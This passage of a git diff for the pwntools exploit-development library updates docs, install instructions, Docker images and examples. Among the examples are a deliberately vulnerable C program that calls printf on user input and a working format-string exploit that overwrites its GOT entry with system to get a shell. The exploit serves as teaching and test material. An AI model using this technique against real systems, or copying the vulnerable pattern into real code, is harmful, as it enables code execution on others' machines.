-If you have any questions not worthy of a [bug report](https://github.com/Gallopsled/pwntools/issues), feel free to ping us
-at [`#pwntools` on Freenode](irc://irc.freenode.net/pwntools) and ask away.
-Click [here](https://kiwiirc.com/client/irc.freenode.net/pwntools) to connect.
-There is also a [mailing list](https://groups.google.com/forum/#!forum/pwntools-users) for higher latency discussion.
+# Contact and Community
+If you have any questions not worthy of a [bug report](https://github.com/Gallopsled/pwntools/issues), join the Discord server at https://discord.gg/96VA2zvjCB

docs/Makefile

@@ -45,7 +45,7 @@ help:
 clean:
 	-rm -rf $(BUILDDIR)/*
 	-rm -rf /tmp/user/pwn*
-	-rm -rf $(HOME)/.pwntools-cache
+	-rm -rf $(HOME)/.cache/.pwntools-cache
 	-rm -rf /tmp/pwn* 2>/dev/null || true
 	-rm -rf build
 

docs/requirements.txt

@@ -11,7 +11,7 @@ pypandoc
 pyserial>=2.7
 requests>=2.5.1
 ropgadget>=5.3
-sphinx
+sphinx<3.4
 sphinx_rtd_theme
 sphinxcontrib-napoleon
-sphinxcontrib-autoprogram
+sphinxcontrib-autoprogram<=0.1.5

docs/source/asm.rst

@@ -2,12 +2,7 @@
 
    import tempfile
    import subprocess
-   from pwnlib.context import context
-   from pwnlib.asm import *
-   from pwnlib import shellcraft
-   from pwnlib.tubes.process import process
-   from pwnlib.util.fiddling import unhex
-
+   from pwn import *
 
 :mod:`pwnlib.asm` --- Assembler functions
 =========================================

docs/source/commandline.rst

@@ -12,6 +12,8 @@ Command Line Tools
 
 pwntools comes with a handful of useful command-line utilities which serve as wrappers for some of the internal functionality.
 
+If these tools do not appear to be installed, make sure that you have added ``~/.local/bin`` to your ``$PATH`` environment variable.
+
 .. toctree::
 
 .. autoprogram:: pwnlib.commandline.main:parser

docs/source/conf.py

@@ -26,6 +26,7 @@ build_dash = tags.has('dash')
 sys.path.insert(0, os.path.abspath('../..'))
 
 import pwnlib
+pwnlib.update.disabled = True
 
 # If your documentation needs a minimal Sphinx version, state it here.
 #needs_sphinx = '1.0'
@@ -70,10 +71,13 @@ doctest_global_setup = '''
 import sys, os
 os.environ['PWNLIB_NOTERM'] = '1'
 os.environ['PWNLIB_RANDOMIZE'] = '0'
+
 import pwnlib, logging
+pwnlib.update.disabled = True
 pwnlib.context.context.reset_local()
 pwnlib.context.ContextType.defaults['log_level'] = logging.ERROR
 pwnlib.context.ContextType.defaults['randomize'] = False
+# pwnlib.context.ContextType.defaults['terminal'] = ['sh', '-c']
 pwnlib.util.fiddling.default_style = {}
 pwnlib.term.text.when = 'never'
 pwnlib.log.install_default_handler()
@@ -88,6 +92,12 @@ class stdout(object):
     def __setattr__(self, name, value):
         return setattr(sys.stdout, name, value)
 pwnlib.context.ContextType.defaults['log_console'] = stdout()
+
+github_actions = os.environ.get('USER') == 'runner'
+travis_ci = os.environ.get('USER') == 'travis'
+local_doctest = os.environ.get('USER') == 'pwntools'
+branch_dev = os.environ.get('GITHUB_BASE_REF') == 'dev'
+skip_android = True
 '''
 
 autoclass_content = 'both'
@@ -254,7 +264,7 @@ latex_documents = [
    u'2016, Gallopsled et al.', 'manual'),
 ]
 
-intersphinx_mapping = {'python': ('https://docs.python.org/2.7', None),
+intersphinx_mapping = {'python': ('https://docs.python.org/3.8', None),
                        'paramiko': ('https://paramiko-docs.readthedocs.org/en/2.1/', None)}
 
 # The name of an image file (relative to this directory) to place at the top of
@@ -337,7 +347,7 @@ def linkcode_resolve(domain, info):
     val = mod
     for k in info['fullname'].split('.'):
         val = getattr(val, k, None)
-        if val == None:
+        if val is None:
             break
 
     # Special case for shellcraft
@@ -378,7 +388,9 @@ import sphinx.ext.autodoc
 
 # Test hidden members (e.g. def _foo(...))
 def dont_skip_any_doctests(app, what, name, obj, skip, options):
-    return False
+    return None
+
+autodoc_default_options = {'special-members': None, 'private-members': None}
 
 class _DummyClass(object): pass
 
@@ -407,16 +419,9 @@ def py2_doctest_init(self, checker=None, verbose=None, optionflags=0):
         checker = Py2OutputChecker()
     doctest.DocTestRunner.__init__(self, checker, verbose, optionflags)
 
-class EndlessLoop(Exception): pass
-def alrm_handler(sig, frame):
-    signal.alarm(180) # three minutes
-    raise EndlessLoop()
-signal.signal(signal.SIGALRM, alrm_handler)
-signal.alarm(600) # ten minutes
-
 if 'doctest' in sys.argv:
     def setup(app):
-        app.connect('autodoc-skip-member', dont_skip_any_doctests)
+        pass # app.connect('autodoc-skip-member', dont_skip_any_doctests)
 
     if sys.version_info[:1] < (3,):
         import sphinx.ext.doctest

docs/source/elf/corefile.rst

@@ -3,6 +3,22 @@
    from glob import glob
    from pwn import *
 
+   # The Linux kernel won't overwrite an existing corefile, so in case 
+   # some other part of the doctests caused a segfault and core dump,
+   # we need to get rid of it before our tests run.
+   #
+   # We DONT need to worry about e.g. ./core existing when using Corefile()
+   # because we always move and rename the corefile to prevent this situation.
+   if os.path.exists('core'): 
+      os.unlink('core')
+
+   # bash-static is a statically linked version of bash, but if $SHELL is not
+   # set to anything, it decides to up and load ld.so and libc.so which breaks
+   # our example of showing `corefile.libc == None` for a statically linked bin.
+   # Set the environment here so it's not in the middle of our tests.
+   os.environ.setdefault('SHELL', '/bin/sh')
+
+
 :mod:`pwnlib.elf.corefile` --- Core Files
 ===========================================================
 

docs/source/encoders.rst

@@ -1,25 +1,29 @@
 .. testsetup:: *
 
    from pwn import *
-
+   
 :mod:`pwnlib.encoders` --- Encoding Shellcode
 ===============================================
 
-.. automodule:: pwnlib.encoders
-   :members:
-
 .. automodule:: pwnlib.encoders.encoder
    :members:
 
-
-.. automodule:: pwnlib.encoders.amd64
-   :members:
-
-.. automodule:: pwnlib.encoders.arm
-   :members:
-
-.. automodule:: pwnlib.encoders.i386
+.. automodule:: pwnlib.encoders.i386.ascii_shellcode
    :members:
+   :special-members:
+   :exclude-members: __init__
 
 .. automodule:: pwnlib.encoders.i386.xor
    :members:
+
+.. automodule:: pwnlib.encoders.i386.delta
+   :members:
+
+.. automodule:: pwnlib.encoders.amd64.delta
+   :members:
+
+.. automodule:: pwnlib.encoders.arm.xor
+   :members:
+
+.. automodule:: pwnlib.encoders.mips.xor
+   :members:

docs/source/filesystem.rst

@@ -0,0 +1,17 @@
+.. testsetup:: *
+
+    import time
+    import six
+    from pwnlib.context import context
+    from pwnlib.tubes.ssh import ssh
+    from pwnlib.filesystem import *
+
+:mod:`pwnlib.filesystem` --- Manipulating Files Locally and Over SSH
+====================================================================
+
+Provides a Python2-compatible :py:mod:`pathlib` interface for paths
+on the local filesystem (`.Path`) as well as on remote filesystems,
+via SSH (`.SSHPath`).
+
+.. automodule:: pwnlib.filesystem
+   :members:

docs/source/index.rst

@@ -55,6 +55,7 @@ Each of the ``pwntools`` modules is documented here.
    elf
    exception
    filepointer
+   filesystem
    flag
    fmtstr
    gdb

docs/source/install.rst

@@ -1,9 +1,7 @@
 Installation
 ============
 
-pwntools is best supported on Ubuntu 12.04 and 14.04, but most
-functionality should work on any Posix-like distribution (Debian, Arch,
-FreeBSD, OSX, etc.).
+Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04).  Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
 
 Prerequisites
 -------------
@@ -20,7 +18,10 @@ following system libraries installed.
 Released Version
 -----------------
 
-pwntools is available as a ``pip`` package.
+pwntools is available as a ``pip`` package for both Python2 and Python3.
+
+Python3
+^^^^^^^
 
 .. code-block:: bash
 
@@ -29,6 +30,37 @@ pwntools is available as a ``pip`` package.
     $ python3 -m pip install --upgrade pip
     $ python3 -m pip install --upgrade pwntools
 
+
+Python2 (Deprecated)
+^^^^^^^^^^^^^^^^^^^^
+
+NOTE: Pwntools maintainers STRONGLY recommend using Python3 for all future Pwntools-based scripts and projects.
+
+Additionally, due to `pip` dropping support for Python2, a specfic version of `pip` must be installed.
+
+.. code-block:: bash
+
+    $ apt-get update
+    $ apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential
+    $ python2 -m pip install --upgrade pip==20.3.4
+    $ python2 -m pip install --upgrade pwntools
+
+
+Command-Line Tools
+------------------
+
+When installed with ``sudo`` the above commands will install Pwntools' command-line tools to somewhere like ``/usr/bin``.
+
+However, if you run as an unprivileged user, you may see a warning message that looks like this:
+
+.. code-block::
+
+      WARNING: The scripts asm, checksec, common, constgrep, cyclic, debug, disablenx, disasm, 
+      elfdiff, elfpatch, errno, hex, main, phd, pwn, pwnstrip, scramble, shellcraft, template, 
+      unhex, update and version are installed in '/home/user/.local/bin' which is not on PATH.
+
+Follow the instructions listed and add ``~/.local/bin`` to your ``$PATH`` environment variable.
+
 Development
 --------------
 

docs/source/install/binutils.rst

@@ -12,7 +12,7 @@ Building `binutils` from source takes about 60 seconds on a modern 8-core machin
 Ubuntu
 ^^^^^^^^^^^^^^^^
 
-For Ubuntu 12.04 through 15.10, you must first add the pwntools `Personal Package Archive repository <http://binutils.pwntools.com>`__.
+For Ubuntu 12.04 through 15.10, you must first add the pwntools `Personal Package Archive repository <https://launchpad.net/~pwntools/+archive/ubuntu/binutils>`__.
 
 Ubuntu Xenial (16.04) has official packages for most architectures, and does not require this step.
 
@@ -39,7 +39,7 @@ repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
 
 .. code-block:: bash
 
-    $ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb
+    $ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
 
 Alternate OSes
 ^^^^^^^^^^^^^^^^

docs/source/intro.rst

@@ -17,6 +17,13 @@ assemble, disassemble, pack, unpack, and many other things with a single functio
 A full list of everything that is imported is available on :doc:`globals`.
 
 
+Tutorials
+---------
+
+A series of tutorials for Pwntools exists online, at
+https://github.com/Gallopsled/pwntools-tutorial#readme
+
+
 Making Connections
 ------------------
 
@@ -188,10 +195,10 @@ Never write another hexdump, thanks to :mod:`pwnlib.util.fiddling`.
 
 Find offsets in your buffer that cause a crash, thanks to :mod:`pwnlib.cyclic`.
 
-    >>> print(cyclic(20).decode())
-    aaaabaaacaaadaaaeaaa
+    >>> cyclic(20)
+    b'aaaabaaacaaadaaaeaaa'
     >>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166))  at crash time
-    >>> print(cyclic_find(b'faab'))
+    >>> cyclic_find(b'faab')
     120
 
 ELF Manipulation

docs/source/protocols.rst

@@ -1,15 +1 @@
-:mod:`pwnlib.protocols` --- Wire Protocols
-=============================================
-
-.. automodule:: pwnlib.protocols
-
-
-Supported Protocols
--------------------
-
-.. toctree::
-    :maxdepth: 3
-    :glob:
-
-    protocols/*
 

docs/source/protocols/adb.rst

@@ -1,11 +0,0 @@
-.. testsetup:: *
-
-   from pwn import *
-   from pwnlib.protocols.adb import AdbClient
-   AdbClient().wait_for_device()
-
-:mod:`pwnlib.protocols.adb` --- ADB Protocol Implementation
-===========================================================
-
-.. automodule:: pwnlib.protocols.adb
-   :members:

docs/source/rop.rst

@@ -1,7 +1,3 @@
-.. testsetup:: *
-
-   from pwn import *
-
 :mod:`pwnlib.rop` --- Return Oriented Programming
 =================================================
 

docs/source/rop/call.rst

@@ -0,0 +1,9 @@
+.. testsetup:: *
+
+   from pwnlib.rop.call import *
+
+:mod:`pwnlib.rop.call` --- Return Oriented Programming Function Calling
+=======================================================================
+
+.. automodule:: pwnlib.rop.call
+   :members:

docs/source/rop/ret2dlresolve.rst

@@ -0,0 +1,10 @@
+.. testsetup:: *
+
+   from pwn import *
+   import tempfile
+
+:mod:`pwnlib.rop.ret2dlresolve` --- Return to dl_resolve
+========================================================
+
+.. automodule:: pwnlib.rop.ret2dlresolve
+   :members:

docs/source/rop/rop.rst

@@ -1,6 +1,23 @@
 .. testsetup:: *
 
-   from pwn import *
+   import time
+   from glob import glob
+
+   from pwnlib.asm import asm
+   from pwnlib import constants
+   from pwnlib.context import context
+   from pwnlib.elf import ELF
+   from pwnlib.rop import ROP
+   from pwnlib.rop.call import Call, AppendedArgument
+   from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
+   from pwnlib.util.packing import *
+   from pwnlib.util.fiddling import *
+   from pwnlib.tubes.process import process
+   from pwnlib import shellcraft
+   from pwnlib.util.misc import which
+
+   context.clear()
+
 
 :mod:`pwnlib.rop.rop` --- Return Oriented Programming
 ==========================================================

docs/source/rop/srop.rst

@@ -1,6 +1,11 @@
 .. testsetup:: *
 
-   from pwn import *
+   from pwnlib.rop.srop import *
+
+   from pwnlib import constants
+   from pwnlib import shellcraft
+   from pwnlib.elf import ELF
+   from pwnlib.tubes.process import process
 
 :mod:`pwnlib.rop.srop` --- Sigreturn Oriented Programming
 ==========================================================

docs/source/runner.rst

@@ -1,6 +1,7 @@
 .. testsetup:: *
 
-   from pwn import *
+   from pwnlib.runner import *
+   from pwnlib.asm import asm
 
 :mod:`pwnlib.runner` --- Running Shellcode
 ===========================================

docs/source/shellcraft/mips.rst

@@ -1,6 +1,15 @@
 .. testsetup:: *
 
-   from pwn import *
+   import tempfile
+
+   from pwnlib import shellcraft
+
+   from pwnlib.asm import asm
+   from pwnlib.context import context
+   from pwnlib.runner import run_assembly
+   from pwnlib.util.fiddling import enhex
+   from pwnlib.util.misc import write
+
    context.clear(arch='mips')
 
 :mod:`pwnlib.shellcraft.mips` --- Shellcode for MIPS

docs/source/tubes/ssh.rst

@@ -14,6 +14,10 @@
       :members: kill, poll, interactive
       :show-inheritance:
 
+   .. autoclass:: pwnlib.tubes.ssh.ssh_process
+      :members:
+      :show-inheritance:
+
    .. autoclass:: pwnlib.tubes.ssh.ssh_connecter()
       :show-inheritance:
 

docs/source/util/iters.rst

@@ -17,19 +17,19 @@
      count                                  ,
      cycle                                  ,
      dropwhile                              ,
+     filter                                 ,
+     filterfalse                            ,
      groupby                                ,
-     ifilter                                ,
-     ifilterfalse                           ,
-     imap                                   ,
      islice                                 ,
-     izip                                   ,
-     izip_longest                           ,
+     map                                    ,
      permutations                           ,
      product                                ,
      repeat                                 ,
      starmap                                ,
      takewhile                              ,
-     tee
+     tee                                    ,
+     zip                                    ,
+     zip_longest
 
 .. function:: chain
 
@@ -63,29 +63,29 @@
 
    Alias for :func:`itertools.groupby`
 
-.. function:: ifilter
+.. function:: filter
 
-   Alias for :func:`itertools.ifilter`
+   Alias for python3-style :func:`filter`
 
-.. function:: ifilterfalse
+.. function:: filterfalse
 
-   Alias for :func:`itertools.ifilterfalse`
+   Alias for :func:`itertools.filterfalse`
 
-.. function:: imap
+.. function:: map
 
-   Alias for :func:`itertools.imap`
+   Alias for python3-style :func:`map`
 
 .. function:: islice
 
    Alias for :func:`itertools.islice`
 
-.. function:: izip
+.. function:: zip
 
-   Alias for :func:`itertools.izip`
+   Alias for python3-style :func:`zip`
 
-.. function:: izip_longest
+.. function:: zip_longest
 
-   Alias for :func:`itertools.izip_longest`
+   Alias for :func:`itertools.zip_longest`
 
 .. function:: permutations
 

docs/source/util/misc.rst

@@ -3,7 +3,6 @@
    from pprint import pprint
    from pwnlib.util.misc import *
    import os, subprocess
-   os.chdir("..")
 
 :mod:`pwnlib.util.misc` --- We could not fit it any other place
 ===============================================================

docs/source/util/net.rst

@@ -2,7 +2,6 @@
 
    from pwnlib.util.net import *
 
-
 :mod:`pwnlib.util.net` --- Networking interfaces
 ===================================================
 

docs/source/util/web.rst

@@ -1,5 +1,7 @@
 .. testsetup:: *
 
+   import tempfile
+
    from pwnlib.context import context
    from pwnlib.util.web import *
 

examples/clean_and_log.py

@@ -25,4 +25,4 @@ atexit.register(r.clean_and_log)
 
 while True:
     line = r.recvline()
-    print(re.findall('^prefix (\S+)$', line)[0])
+    print(re.findall(r'^prefix (\S+)$', line)[0])

examples/fmtstr/Makefile

@@ -1,9 +1,11 @@
 CFLAGS := -Wno-unused-result -Wno-format-security
 TARGETS := printf.mips printf.mips64 printf.mipsel printf.mips64el printf.arm printf.aarch64 \
-	         printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32
+	         printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32 \
+	         printf-loop.native printf-loop.native32
 
 .PHONY: run
 run: all
+	./exploit2.py
 	./exploit.py
 
 .PHONY: all
@@ -43,7 +45,7 @@ clean:
 %.native: %.c
 	gcc $(CFLAGS) -o "$@" $^
 %.native32: %.c
-	i686-linux-gnu-gcc $(CFLAGS) -o "$@" $^
+	gcc $(CFLAGS) -m32 -o "$@" $^
 
 # install deps on ubuntu xenial
 .PHONY: install-apt

examples/fmtstr/exploit.py

@@ -1,4 +1,4 @@
-#!/usr/bin/env python2
+#!/usr/bin/env python
 from pwn import *
 
 @context.quiet
@@ -15,7 +15,7 @@ def exploit(binary):
         addr = unpack(p.recv(context.bytes))
         payload = fmtstr_payload(offset, {addr: p32(0x1337babe)})
         p.sendline(payload)
-        p.recvuntil("DONE")
+        p.recvuntil(b"DONE")
         print(hex(u32(p.recv(4))))
 
 binaries = [

examples/fmtstr/exploit2.py

@@ -0,0 +1,68 @@
+#!/usr/bin/env python
+"""
+An example combining fmtstr and dynelf to automatically exploit a PIE binary.
+"""
+
+from pwn import *
+
+def exploit(e):
+    p = e.process()
+
+    def executer(fmt):
+        p.sendline(fmt)
+        p.stdin.flush()
+        r = p.recvuntil(b'again=\n')
+        return r
+    f = FmtStr(executer)
+
+    # find some code pointer on stack
+    addrbits = min(context.bits, 48) # address space is no larger than 48-bit
+    min_code_ptr = 0x10 << addrbits-8
+    max_code_ptr = 0x7e << addrbits-8
+    for off in range(64):
+        random_code_ptr = f.leak_stack(off)
+        packed = bytearray(pack(random_code_ptr))
+        chars = set(packed) - {0}
+        # simple heuristic
+        if (min_code_ptr < random_code_ptr < max_code_ptr
+            and max(chars) > 0x80 and min(chars) < 0x80
+            and not hex(random_code_ptr).startswith('0x7ff')):
+            break
+
+    log.info("Code ptr: %#x"%random_code_ptr)
+
+    online_elf = DynELF(f.leaker, pointer=random_code_ptr, elf=e, libcdb=False)
+
+    print("Stack: %#x" % (online_elf.stack(),))
+    print("Heap: %#x" % (online_elf.heap(),))
+
+    info("Finding base address of the executable")
+    for ref in e.sym:
+        if not ref:
+            continue
+        # if we have the address of a symbol on remote, we know the offset
+        ref_addr = online_elf.lookup(ref)
+        if ref_addr:
+            print("%s: %r" % (ref, ref_addr))
+            break
+
+    system = online_elf.lookup('system', 'libc')
+    print("system: %#x" % system)
+
+    # fix up the address
+    e.address += ref_addr - e.sym[ref]
+
+    # actual exploit: overwrite printf with system
+    f.write(e.sym.got.printf, system)
+    f.execute_writes()
+
+    p.sendline(b'echo ::$(( 16 * 16 ))')
+    p.recvuntil(b'::')
+    line = p.recvline()
+    assert line == b'256\n'
+    p.sendline(b'exit')
+    p.close()
+
+
+for context.binary in 'printf-loop.native32', 'printf-loop.native':
+    exploit(context.binary)

examples/fmtstr/printf-loop.c

@@ -0,0 +1,14 @@
+#include <stdio.h>
+#include <unistd.h>
+
+int main() {
+  while (1) {
+    char str[256];
+    int n = read(STDIN_FILENO, str, sizeof(str) - 1);
+    str[n] = '\0';
+    printf(str);
+    printf("\n=try again=\n");
+    fflush(stdout);
+  }
+  return 0;
+}

examples/gdb_api.py

@@ -0,0 +1,112 @@
+#!/usr/bin/env python3
+"""An example of using GDB Python API with Pwntools."""
+from pwn import *
+
+
+def check_write(gdb, exp_buf):
+    """Check that write() was called with the expected arguments."""
+    fd = gdb.parse_and_eval('$rdi').cast(gdb.lookup_type('int'))
+    assert fd == 1, fd
+    buf_addr = gdb.parse_and_eval('$rsi').cast(gdb.lookup_type('long'))
+    count = gdb.parse_and_eval('$rdx').cast(gdb.lookup_type('long'))
+    buf = gdb.selected_inferior().read_memory(buf_addr, count).tobytes()
+    assert buf == exp_buf, buf
+
+
+def demo_sync_breakpoint(cat, gdb, txt):
+    """Demonstrate a synchronous breakpoint."""
+    # set the synchronous breakpoint on ``write``
+    gdb.Breakpoint('write', temporary=True)
+
+    # resume the program
+    gdb.continue_nowait()
+
+    # send the line
+    cat.sendline(txt)
+
+    # wait until we hit the breakpoint
+    gdb.wait()
+
+    # inspect program state
+    check_write(gdb, (txt + '\n').encode())
+
+    # resume the program
+    gdb.continue_nowait()
+
+    # expect to observe the line we just sent
+    cat.recvuntil(txt)
+
+
+def demo_async_breakpoint(cat, gdb, txt):
+    """Demonstrate asynchronous breakpoint."""
+    # set the asynchronous breakpoint on ``write``
+    class WriteBp(gdb.Breakpoint):
+        def __init__(self):
+            super().__init__('write')
+            self.count = 0
+
+        def stop(self):
+            # called in a separate thread
+            check_write(gdb, (txt + '\n').encode())
+            self.count += 1
+
+    bp = WriteBp()
+
+    # resume the program
+    gdb.continue_nowait()
+
+    # send the line and immediately expect to observe it
+    cat.sendline(txt)
+    cat.recvuntil(txt)
+
+    # check that we hit the breakpoint
+    assert bp.count == 1, bp.count
+
+    # interrupt the program
+    gdb.interrupt_and_wait()
+
+    # delete the breakpoint
+    bp.delete()
+
+    # resume the program
+    gdb.continue_nowait()
+
+
+def main():
+    # start ``cat`` under GDB
+    with gdb.debug('cat', gdbscript='''
+set logging on
+set pagination off
+''', api=True) as cat:
+
+        # the process is stopped
+        # set the synchronous breakpoint on ``read``
+        cat.gdb.Breakpoint('read', temporary=True)
+
+        # resume and wait until we hit it
+        cat.gdb.continue_and_wait()
+
+        # demonstrate a more interesting synchronous breakpoint
+        demo_sync_breakpoint(cat, cat.gdb, 'foo')
+
+        # terminate GDB
+        cat.gdb.quit()
+
+    # now start ``cat`` normally
+    with process('cat') as cat:
+        # attach GDB
+        _, cat_gdb = gdb.attach(cat, gdbscript='''
+set logging on
+set pagination off
+''', api=True)
+
+        # the process is stopped
+        # demonstrate asynchronous breakpoint
+        demo_async_breakpoint(cat, cat_gdb, 'bar')
+
+        # terminate GDB
+        cat_gdb.quit()
+
+
+if __name__ == '__main__':
+    main()

examples/readline_completers.py

@@ -21,11 +21,11 @@ c2 = PathCompleter(mask = '*.py')
 with c1:
     print('type "exit" to exit')
     while True:
-        s = term.readline.readline(prompt = '> ').strip()
+        s = str_input(prompt = '> ').strip()
         if s in ('exit', 'enough!'):
             break
         print('You wrote', s)
 with c2:
     print('choose a file')
-    s = term.readline.readline(prompt = text.bold_green('$ ')).strip()
+    s = str_input(prompt = text.bold_green('$ ')).strip()
     print('You picked', s)

examples/sigreturn_corefile_aarch64.py

@@ -3,11 +3,12 @@ context.arch='aarch64'
 frame = SigreturnFrame()
 
 registers = ['x%i' % i for i in range(0, 31)]
-registers += ['sp', 'pc']
+registers += ['pc']
 
 
 for index, register in enumerate(registers):
     setattr(frame, register, index)
+frame.sp = 64
 
 assembly = '\n'.join([
     shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
@@ -23,8 +24,9 @@ assert io.poll() == -11
 
 corefile = io.corefile
 
-for index, register in enumerate(registers):
+for register in registers:
     value = getattr(corefile, register)
+    index = getattr(frame, register)
     if index != value:
         log.error("%s != %i (%i)" % (register, index, value))
     else:

examples/sigreturn_corefile_arm.py

@@ -4,11 +4,12 @@ context.arch='arm'
 frame = SigreturnFrame()
 
 registers = ['r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6', 'r7',
-             'r8', 'r9', 'r10', 'fp', 'ip', 'sp', 'pc', 'lr']
+             'r8', 'r9', 'r10', 'fp', 'ip', 'pc', 'lr']
 
 
 for index, register in enumerate(registers):
     setattr(frame, register, index)
+frame.sp = 64
 
 assembly = '\n'.join([
     shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
@@ -24,8 +25,9 @@ assert io.poll() == -11
 
 corefile = io.corefile
 
-for index, register in enumerate(registers):
+for register in registers:
     value = getattr(corefile, register)
+    index = getattr(frame, register)
     if index != value:
         log.error("%s != %i (%i)" % (register, index, value))
     else:

examples/spinners.py

@@ -12,7 +12,7 @@ h = log.waitfor('spinners running', status = str(n))
 hs = []
 print('type "q" to quit')
 while True:
-    s = raw_input('> ')
+    s = str_input('> ').strip()
     if s == 'q':
         break
     hs.append(log.waitfor(s, status = 'running'))

examples/splash.py

@@ -9,5 +9,5 @@ splash()
 h = log.waitfor("You wrote", status = "--")
 
 while True:
-    l = raw_input('> ')
+    l = str_input('> ').strip()
     h.status(l.upper())

examples/ssh.py

@@ -36,5 +36,14 @@ print(shell.echo("single string"))
 print(shell.echo(["list","of","strings"]))
 print(shell["echo single statement"])
 
+# ssh.process() is the most flexible way to run a command)
+io = shell.process(['/bin/bash', '-c', 'echo Hello $FOO'], 
+                   env={'FOO': 'World'}, # Set environment
+                   stderr='/dev/null',   # Override file descriptors
+                   aslr=False,           # Disable ASLR on processes
+                   setuid=False,         # Disable setuid bit so processes can be debugged
+                   shell=False)          # Enable or disable shell evaluation
+print(io.recvall())
+
 # Show off the interactive shell
 shell.interactive()

extra/docker/Makefile

@@ -1,13 +1,34 @@
-subdirs=xenial stable $(wildcard */)
-makefiles=$(wildcard */Makefile)
+subdirs=$(shell find . -type d -depth 1 | xargs basename)
 tags=base stable beta dev
 
-all: $(makefiles) $(subdirs)
+all: $(subdirs) $(tags)
 
-$(subdirs):
+tags: $(tags)
+
+base:
+	@echo "Building $@"
 	docker build -t pwntools/pwntools:$(shell basename $(@)) "$@"
 
-$(makefiles):
-	make -C $(shell dirname $@)
+stable beta dev: base
+	@echo "Building $@"
+	docker build -t pwntools/pwntools:$(shell basename $(@)) "$@"
 
-.PHONY: all $(subdirs) $(makefiles)
+develop:
+	@echo "Building $@"
+	docker build -t pwntools/pwntools:$(shell basename $(@)) "$@"
+	docker run -it --privileged --net=host --hostname localhost \
+		--ulimit core=-1:-1 \
+		--mount type=bind,source="$(shell git rev-parse --show-toplevel)",target=/home/pwntools/pwntools \
+		pwntools/pwntools:$(shell basename $(@))
+
+debug:
+	@echo "Subdirs   $(subdirs)"
+	@echo "Tags      $(tags)"
+
+clean:
+	docker container prune
+	docker
+
+FORCE:
+
+.PHONY: all $(subdirs) $(makefiles) $(tags)

extra/docker/README.md

@@ -0,0 +1,53 @@
+# Pwntools Docker Images
+
+This directory contains some Docker images with various versions of Pwntools pre-installed.
+
+## Getting Images
+
+You can either make them yourself, or pull from Docker Hub.
+
+### Docker Hub
+
+To pull an image from Docker hub, just run the command:
+
+```sh
+$ docker pull pwntools/pwntools:stable
+```
+
+Replace `stable` with `beta` or `dev` as desired.
+
+### Building Locally
+
+To build the images locally, just invoke the `Makefile` with the desired branch target.
+
+```sh
+$ make -C extra/docker dev
+```
+
+## Running Images
+
+To run the `stable`, `beta`, or `dev` image, we recommend the following command line, in this example it is the `dev` image.
+
+```sh
+$ docker run -it \
+    --privileged \
+    --net=host \
+ 		--ulimit core=-1:-1 \
+ 		pwntools/pwntools:dev
+```
+
+The `--privileged` option is needed to perform any debugging with GDB.
+
+The `--ulimit` option is needed for any corefiles to drop when a program crashes.
+
+The `--net=host` allows you to easily connect to services hosted inside the container from outside the container.
+
+## Development Dockerfile
+
+In addition to `stable`, `beta`, and `dev` Dockerfiles, there is also a `develop` dockerfile which mounts your Pwntools installation inside the VM so you can develop seamlessly while editing on your host.
+
+```sh
+$ make -C extra/docker develop
+```
+
+You will be dropped into a shell, and any changes you make to your local Pwntools checkout will be immediately reflected inside the Docker container.  This is useful for e.g. editing on a macOS host, but testing your changes on Ubuntu without needing to copy files around.

extra/docker/base

@@ -1 +0,0 @@
-xenial

extra/docker/base/Dockerfile

@@ -3,20 +3,35 @@
 # Based on Ubuntu
 ############################################################
 
-FROM ubuntu:precise
+FROM ubuntu:bionic
 MAINTAINER Maintainer Gallopsled et al.
 
+env DEBIAN_FRONTEND=noninteractive
+
 RUN apt-get update \
     && apt-get install -y \
         build-essential \
         git \
         libssl-dev \
         libffi-dev \
-        python2.7 \
+        python \
         python-pip \
         python-dev \
+        python3 \
+        python3-pip \
+        python3-dev \
+        qemu-user-static \
+        binutils-arm-linux-gnueabihf \
+        binutils-aarch64-linux-gnu \
+        binutils-mips-linux-gnu \
+        binutils-mipsel-linux-gnu \
+        binutils-powerpc-linux-gnu \
+        binutils-powerpc64-linux-gnu \
+        binutils-sparc64-linux-gnu \
     && pip install --upgrade pip \
     && python -m pip install --upgrade pwntools \
+    && pip3 install --upgrade pip \
+    && python3 -m pip install --upgrade pwntools \
     && PWNLIB_NOTERM=1 pwn update \
     && apt-get install -y sudo \
     && useradd -m pwntools \

extra/docker/beta/Dockerfile

@@ -2,5 +2,6 @@ FROM pwntools/pwntools:stable
 
 USER root
 RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools@beta
+RUN pip3 install --upgrade git+https://github.com/Gallopsled/pwntools@beta
 RUN PWNLIB_NOTERM=1 pwn update
 USER pwntools

extra/docker/dev/Dockerfile

@@ -2,5 +2,6 @@ FROM pwntools/pwntools:stable
 
 USER root
 RUN pip install --upgrade git+https://github.com/Gallopsled/pwntools@dev
+RUN pip3 install --upgrade git+https://github.com/Gallopsled/pwntools@dev
 RUN PWNLIB_NOTERM=1 pwn update
 USER pwntools

extra/docker/develop/Dockerfile

@@ -0,0 +1,59 @@
+FROM pwntools/pwntools:base
+
+# Uninstall existing versions of pwntools
+USER root
+RUN python -m pip uninstall -q -y pwntools \
+ && python3 -m pip uninstall -q -y pwntools
+
+# Switch back to the pwntools user from here forward
+USER pwntools
+WORKDIR /home/pwntools
+
+# Since we are not installing Pwntools systemwide, the "pwn" binaries
+# etc will all end up in this path.
+ENV PATH="/home/pwntools/.local/bin:${PATH}"
+
+# Install Pwntools to the home directory, make it an editable install
+RUN git clone https://github.com/Gallopsled/pwntools \
+ && python  -m pip install --upgrade --editable pwntools \
+ && python3 -m pip install --upgrade --editable pwntools \
+ && PWNLIB_NOTERM=1 pwn version
+
+# Requirements for running the tests
+RUN python  -m pip install --upgrade --requirement pwntools/docs/requirements.txt \
